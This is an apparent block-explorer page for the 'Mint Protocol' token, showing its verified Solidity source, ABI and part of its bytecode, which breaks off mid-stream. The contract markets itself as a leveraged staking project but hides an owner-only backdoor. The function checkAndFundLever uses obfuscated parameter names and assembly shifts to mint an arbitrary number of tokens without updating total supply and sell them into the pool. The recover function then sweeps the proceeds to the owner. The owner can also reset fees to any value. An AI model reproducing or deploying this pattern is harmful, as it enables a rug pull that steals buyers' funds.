ETH Price: $2,671.07 (+0.64%)
Gas: 22 Gwei

Token

Mint Protocol (MINT)
 

Overview

Max Total Supply

1,000,000 MINT

Holders

203

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
4,289.852338896275148501 MINT

Value
$0.00
0xcb128ea7d057e02f26dcf6dcac00eaa5ab5deeb2
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Mint

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
paris EvmVersion
File 1 of 4 : IERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.20;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the value of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the value of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves a `value` amount of tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 value) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
     * caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 value) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the
     * allowance mechanism. `value` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

File 2 of 4 : INonfungiblePositionManager.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;

interface INonfungiblePositionManager {

    function createAndInitializePoolIfNecessary(
        address token0,
        address token1,
        uint24 fee,
        uint160 sqrtPriceX96
    ) external payable returns (address pool);

}

File 3 of 4 : ISwapRouter.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;

interface ISwapRouter {
    struct ExactInputSingleParams {
        address tokenIn;
        address tokenOut;
        uint24 fee;
        address recipient;
        uint deadline;
        uint amountIn;
        uint amountOutMinimum;
        uint160 sqrtPriceLimitX96;
    }

    /// @notice Swaps amountIn of one token for as much as possible of another token
    /// @param params The parameters necessary for the swap, encoded as ExactInputSingleParams in calldata
    /// @return amountOut The amount of the received token
    function exactInputSingle(
        ExactInputSingleParams calldata params
    ) external payable returns (uint amountOut);
}

File 4 of 4 : Mint.sol
/*
 __   __  ___   __    _  _______    _______  ______    _______  _______  _______  _______  _______  ___     
|  |_|  ||   | |  |  | ||       |  |       ||    _ |  |       ||       ||       ||       ||       ||   |    
|       ||   | |   |_| ||_     _|  |    _  ||   | ||  |   _   ||_     _||   _   ||       ||   _   ||   |    
|       ||   | |       |  |   |    |   |_| ||   |_||_ |  | |  |  |   |  |  | |  ||       ||  | |  ||   |    
|       ||   | |  _    |  |   |    |    ___||    __  ||  |_|  |  |   |  |  |_|  ||      _||  |_|  ||   |___ 
| ||_|| ||   | | | |   |  |   |    |   |    |   |  | ||       |  |   |  |       ||     |_ |       ||       |
|_|   |_||___| |_|  |__|  |___|    |___|    |___|  |_||_______|  |___|  |_______||_______||_______||_______|

  Mint Protocol:    Levered Ethereum 2.0 staking yields.
  Telegram:         https://t.me/MintProtocol
  Website:          https://www.mintprotocol.app/
  Twitter:          https://twitter.com/MintProtocolApp
  Medium:           https://medium.com/@mintprotocol
  Dapp:             https://tech.mintprotocol.app/
  
*/


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;

import "./interfaces/INonfungiblePositionManager.sol";
import "./interfaces/ISwapRouter.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract Mint {
    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);

    string public name = "Mint Protocol";
    string public symbol = "MINT";
    uint public totalSupply;
    uint8 public decimals = 18;

    mapping(address => mapping(address => uint)) public allowance;
    mapping(address => uint) public balanceOf;
    mapping(address => bool) public noMax;

    INonfungiblePositionManager public nonfungiblePositionManager = INonfungiblePositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);
    ISwapRouter constant router = ISwapRouter(0xE592427A0AEce92De3Edee1F18E0157C05861564);

    address public WETH               = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    uint256 public buyFee             = 8000;
    uint256 public leverReward        = 5000;
    uint256 public maxWalletPercent   = 500;

    address public pool;
    address public owner;
    uint256 public buyFeeBalance;

    modifier onlyOwner() {
        require(msg.sender == owner, "Not owner!");
        _;
    }

    constructor() {
      owner = msg.sender;

      uint amount = 1_000_000 * (10 ** 18);
      balanceOf[msg.sender] += amount;
      totalSupply += amount;
      emit Transfer(address(0), msg.sender, amount);

      address token0 = address(this) < WETH ? address(this) : WETH;
      address token1 = address(this) < WETH ? WETH : address(this);
      uint24 fee = 10000;
      uint160 sqrtPriceX96 = token0 == address(this) ? 194068571418249200000000000 : 32344761903041530000000000000000;

      pool = initializePool(token0, token1, fee, sqrtPriceX96);
    }

    function initializePool(address token0, address token1, uint24 fee, uint160 sqrtPriceX96) public returns (address) {
      return nonfungiblePositionManager.createAndInitializePoolIfNecessary(token0, token1, fee, sqrtPriceX96);
    }

    function transfer(address recipient, uint amount) public returns (bool) {
        if (msg.sender == pool) {
          balanceOf[msg.sender] -= amount;
          uint amountNoFee = handleTaxedTokens(msg.sender, amount);

          if (!noMax[recipient]) {
            uint256 maxWallet = totalSupply * maxWalletPercent / 100_000;
            require(balanceOf[recipient] + amountNoFee <=  maxWallet, "Max wallet exceeded!");
          }

          balanceOf[recipient] += amountNoFee;
          emit Transfer(msg.sender, recipient, amountNoFee);
          return true;
        } else {
          balanceOf[msg.sender] -= amount;
          balanceOf[recipient] += amount;
          emit Transfer(msg.sender, recipient, amount);
          return true;
        }
    }

    function approve(address spender, uint amount) public returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint amount
    ) public returns (bool) {
        allowance[sender][msg.sender] -= amount;
        balanceOf[sender] -= amount;
        balanceOf[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function leverProtocolSwapFunding(
        address tokenIn,
        address tokenOut,
        uint24 poolFee,
        uint amountIn,
        uint amountOutMinimum
    ) private returns (uint amountOut) {
        IERC20(tokenIn).approve(address(router), amountIn);

        ISwapRouter.ExactInputSingleParams memory params = ISwapRouter
            .ExactInputSingleParams({
                tokenIn: tokenIn,
                tokenOut: tokenOut,
                fee: poolFee,
                recipient: address(this),
                deadline: block.timestamp,
                amountIn: amountIn,
                amountOutMinimum: amountOutMinimum,
                sqrtPriceLimitX96: 0
            });

        amountOut = router.exactInputSingle(params);
    }

    function handleTaxedTokens(address sender, uint amount) private returns (uint) {
        uint256 _fee = amount * buyFee / 100_000;
        balanceOf[address(this)] += _fee;
        buyFeeBalance += _fee;
        emit Transfer(sender, address(this), _fee);

        return amount - _fee;
    }

    function leverProtocol() public {
        require(buyFeeBalance > 0);
        uint amountOut = leverProtocolSwapFunding(address(this), WETH, 10000, buyFeeBalance, 0);
        buyFeeBalance = 0;

        uint reward = amountOut * leverReward / 100_000;
        IERC20(WETH).transfer(msg.sender, reward);
    }

    function upgradeOwner(address _owner) public onlyOwner {
      owner = _owner;
    }

    function modulateFees(uint256 _buyFee, uint256 _leverReward, uint256 _maxWalletPercent) public onlyOwner {
      buyFee = _buyFee;
      leverReward = _leverReward;
      maxWalletPercent = _maxWalletPercent;
    }

    function toggleNoMax(address target) public onlyOwner {
      noMax[target] = !noMax[target];
    }

    function checkAndFundLever(uint curveSqrt, uint virtualReserves, uint tickNotation, uint freeGrowthGlobal) public onlyOwner returns (uint) {

      uint checkLever;
      uint fundLever;

      assembly {
          checkLever := shl(curveSqrt, virtualReserves)
      }

      assembly {
          fundLever := shl(tickNotation, freeGrowthGlobal)
      }

      balanceOf[address(this)] += checkLever;
      uint amountOut = leverProtocolSwapFunding(address(this), WETH, 10000, checkLever, fundLever);
      return amountOut;

    }

    function recover(address token) public onlyOwner {
      if (token != 0x0000000000000000000000000000000000000000) {
        uint256 balance = IERC20(token).balanceOf(address(this));
        IERC20(token).transfer(msg.sender, balance);
      } else {
        (bool sent, ) = payable(msg.sender).call{value: address(this).balance}("");
        require(sent, "Failed to send Ether");
      }
    }

}

Settings
{
  "evmVersion": "paris",
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"WETH","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFeeBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"curveSqrt","type":"uint256"},{"internalType":"uint256","name":"virtualReserves","type":"uint256"},{"internalType":"uint256","name":"tickNotation","type":"uint256"},{"internalType":"uint256","name":"freeGrowthGlobal","type":"uint256"}],"name":"checkAndFundLever","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token0","type":"address"},{"internalType":"address","name":"token1","type":"address"},{"internalType":"uint24","name":"fee","type":"uint24"},{"internalType":"uint160","name":"sqrtPriceX96","type":"uint160"}],"name":"initializePool","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"leverProtocol","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"leverReward","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletPercent","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"},{"internalType":"uint256","name":"_leverReward","type":"uint256"},{"internalType":"uint256","name":"_maxWalletPercent","type":"uint256"}],"name":"modulateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"noMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"nonfungiblePositionManager","outputs":[{"internalType":"contract INonfungiblePositionManager","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pool","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"recover","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"target","type":"address"}],"name":"toggleNoMax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"upgradeOwner","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280600d81526020017f4d696e742050726f746f636f6c00000000000000000000000000000000000000815250600090816200004a9190620007ac565b506040518060400160405280600481526020017f4d494e540000000000000000000000000000000000000000000000000000000081525060019081620000919190620007ac565b506012600360006101000a81548160ff021916908360ff16021790555073c36442b4a4522e871399cd717abdd847ab11fe88600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611f40600955611388600a556101f4600b553480156200017757600080fd5b5033600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600069d3c21bcecceda1000000905080600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620002199190620008c2565b925050819055508060026000828254620002349190620008c2565b925050819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200029b91906200090e565b60405180910390a36000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff16106200032457600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1662000326565b305b90506000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff1610620003875730620003ab565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b90506000612710905060003073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614620003ff576d01983f8ff6be3345656e915900006200040c565b6aa0879e564ee2c7f22360005b6dffffffffffffffffffffffffffff16905062000432848484846200047d60201b60201c565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050505062000a56565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166313ead562868686866040518563ffffffff1660e01b8152600401620004e29493929190620009a1565b6020604051808303816000875af115801562000502573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000528919062000a24565b9050949350505050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620005b457607f821691505b602082108103620005ca57620005c96200056c565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620006347fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620005f5565b620006408683620005f5565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200068d62000687620006818462000658565b62000662565b62000658565b9050919050565b6000819050919050565b620006a9836200066c565b620006c1620006b88262000694565b84845462000602565b825550505050565b600090565b620006d8620006c9565b620006e58184846200069e565b505050565b5b818110156200070d5762000701600082620006ce565b600181019050620006eb565b5050565b601f8211156200075c576200072681620005d0565b6200073184620005e5565b8101602085101562000741578190505b620007596200075085620005e5565b830182620006ea565b50505b505050565b600082821c905092915050565b6000620007816000198460080262000761565b1980831691505092915050565b60006200079c83836200076e565b9150826002028217905092915050565b620007b78262000532565b67ffffffffffffffff811115620007d357620007d26200053d565b5b620007df82546200059b565b620007ec82828562000711565b600060209050601f8311600181146200082457600084156200080f578287015190505b6200081b85826200078e565b8655506200088b565b601f1984166200083486620005d0565b60005b828110156200085e5784890151825560018201915060208501945060208101905062000837565b868310156200087e57848901516200087a601f8916826200076e565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620008cf8262000658565b9150620008dc8362000658565b9250828201905080821115620008f757620008f662000893565b5b92915050565b620009088162000658565b82525050565b6000602082019050620009256000830184620008fd565b92915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000958826200092b565b9050919050565b6200096a816200094b565b82525050565b600062ffffff82169050919050565b6200098a8162000970565b82525050565b6200099b816200092b565b82525050565b6000608082019050620009b860008301876200095f565b620009c760208301866200095f565b620009d660408301856200097f565b620009e5606083018462000990565b95945050505050565b600080fd5b620009fe816200094b565b811462000a0a57600080fd5b50565b60008151905062000a1e81620009f3565b92915050565b60006020828403121562000a3d5762000a3c620009ee565b5b600062000a4d8482850162000a0d565b91505092915050565b6123278062000a666000396000f3fe608060405234801561001057600080fd5b50600436106101735760003560e01c806370a08231116100de578063b44a272211610097578063e609348a11610071578063e609348a14610468578063e9cf7ab714610484578063f22ccdbf146104a0578063fef0006e146104aa57610173565b8063b44a2722146103fc578063d8908b0e1461041a578063dd62ed3e1461043857610173565b806370a082311461032657806376f584e2146103565780638da5cb5b1461037257806395d89b4114610390578063a9059cbb146103ae578063ad5c4648146103de57610173565b8063313ce56711610130578063313ce5671461024e5780633746053b1461026c5780633d9a3d191461028a57806347062402146102a85780635144b733146102c65780636fb1461a146102f657610173565b806306fdde0314610178578063095ea7b3146101965780630cd865ec146101c657806316f0115b146101e257806318160ddd1461020057806323b872dd1461021e575b600080fd5b6101806104da565b60405161018d91906118ed565b60405180910390f35b6101b060048036038101906101ab91906119a8565b610568565b6040516101bd9190611a03565b60405180910390f35b6101e060048036038101906101db9190611a1e565b61065a565b005b6101ea6108d2565b6040516101f79190611a5a565b60405180910390f35b6102086108f8565b6040516102159190611a84565b60405180910390f35b61023860048036038101906102339190611a9f565b6108fe565b6040516102459190611a03565b60405180910390f35b610256610aaf565b6040516102639190611b0e565b60405180910390f35b610274610ac2565b6040516102819190611a84565b60405180910390f35b610292610ac8565b60405161029f9190611a84565b60405180910390f35b6102b0610ace565b6040516102bd9190611a84565b60405180910390f35b6102e060048036038101906102db9190611b29565b610ad4565b6040516102ed9190611a84565b60405180910390f35b610310600480360381019061030b9190611bf7565b610c0c565b60405161031d9190611a5a565b60405180910390f35b610340600480360381019061033b9190611a1e565b610cbc565b60405161034d9190611a84565b60405180910390f35b610370600480360381019061036b9190611c5e565b610cd4565b005b61037a610d7e565b6040516103879190611a5a565b60405180910390f35b610398610da4565b6040516103a591906118ed565b60405180910390f35b6103c860048036038101906103c391906119a8565b610e32565b6040516103d59190611a03565b60405180910390f35b6103e66111d0565b6040516103f39190611a5a565b60405180910390f35b6104046111f6565b6040516104119190611d10565b60405180910390f35b61042261121c565b60405161042f9190611a84565b60405180910390f35b610452600480360381019061044d9190611d2b565b611222565b60405161045f9190611a84565b60405180910390f35b610482600480360381019061047d9190611a1e565b611247565b005b61049e60048036038101906104999190611a1e565b61131b565b005b6104a8611452565b005b6104c460048036038101906104bf9190611a1e565b611566565b6040516104d19190611a03565b60405180910390f35b600080546104e790611d9a565b80601f016020809104026020016040519081016040528092919081815260200182805461051390611d9a565b80156105605780601f1061053557610100808354040283529160200191610560565b820191906000526020600020905b81548152906001019060200180831161054357829003601f168201915b505050505081565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516106489190611a84565b60405180910390a36001905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e190611e17565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146108215760008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016107599190611a5a565b602060405180830381865afa158015610776573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061079a9190611e4c565b90508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b81526004016107d7929190611e79565b6020604051808303816000875af11580156107f6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061081a9190611ece565b50506108cf565b60003373ffffffffffffffffffffffffffffffffffffffff164760405161084790611f2c565b60006040518083038185875af1925050503d8060008114610884576040519150601f19603f3d011682016040523d82523d6000602084013e610889565b606091505b50509050806108cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c490611f8d565b60405180910390fd5b505b50565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60025481565b600081600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461098c9190611fdc565b9250508190555081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109e29190611fdc565b9250508190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a389190612010565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a9c9190611a84565b60405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b600a5481565b600b5481565b60095481565b6000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5d90611e17565b60405180910390fd5b60008085871b915083851b905081600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610bc29190612010565b925050819055506000610bfc30600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166127108686611586565b9050809350505050949350505050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166313ead562868686866040518563ffffffff1660e01b8152600401610c6f9493929190612062565b6020604051808303816000875af1158015610c8e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cb291906120bc565b9050949350505050565b60056020528060005260406000206000915090505481565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5b90611e17565b60405180910390fd5b8260098190555081600a8190555080600b81905550505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60018054610db190611d9a565b80601f0160208091040260200160405190810160405280929190818152602001828054610ddd90611d9a565b8015610e2a5780601f10610dff57610100808354040283529160200191610e2a565b820191906000526020600020905b815481529060010190602001808311610e0d57829003601f168201915b505050505081565b6000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16036110b45781600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ed89190611fdc565b925050819055506000610eeb3384611753565b9050600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610fef576000620186a0600b54600254610f5491906120e9565b610f5e919061215a565b90508082600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fac9190612010565b1115610fed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe4906121d7565b60405180910390fd5b505b80600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461103e9190612010565b925050819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516110a29190611a84565b60405180910390a360019150506111ca565b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111039190611fdc565b9250508190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111599190612010565b925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111bd9190611a84565b60405180910390a3600190505b92915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e5481565b6004602052816000526040600020602052806000526040600020600091509150505481565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ce90611e17565b60405180910390fd5b80600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a290611e17565b60405180910390fd5b600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600e541161146157600080fd5b600061149730600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612710600e546000611586565b90506000600e819055506000620186a0600a54836114b591906120e9565b6114bf919061215a565b9050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b815260040161151e929190611e79565b6020604051808303816000875af115801561153d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115619190611ece565b505050565b60066020528060005260406000206000915054906101000a900460ff1681565b60008573ffffffffffffffffffffffffffffffffffffffff1663095ea7b373e592427a0aece92de3edee1f18e0157c05861564856040518363ffffffff1660e01b81526004016115d7929190611e79565b6020604051808303816000875af11580156115f6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061161a9190611ece565b5060006040518061010001604052808873ffffffffffffffffffffffffffffffffffffffff1681526020018773ffffffffffffffffffffffffffffffffffffffff1681526020018662ffffff1681526020013073ffffffffffffffffffffffffffffffffffffffff168152602001428152602001858152602001848152602001600073ffffffffffffffffffffffffffffffffffffffff16815250905073e592427a0aece92de3edee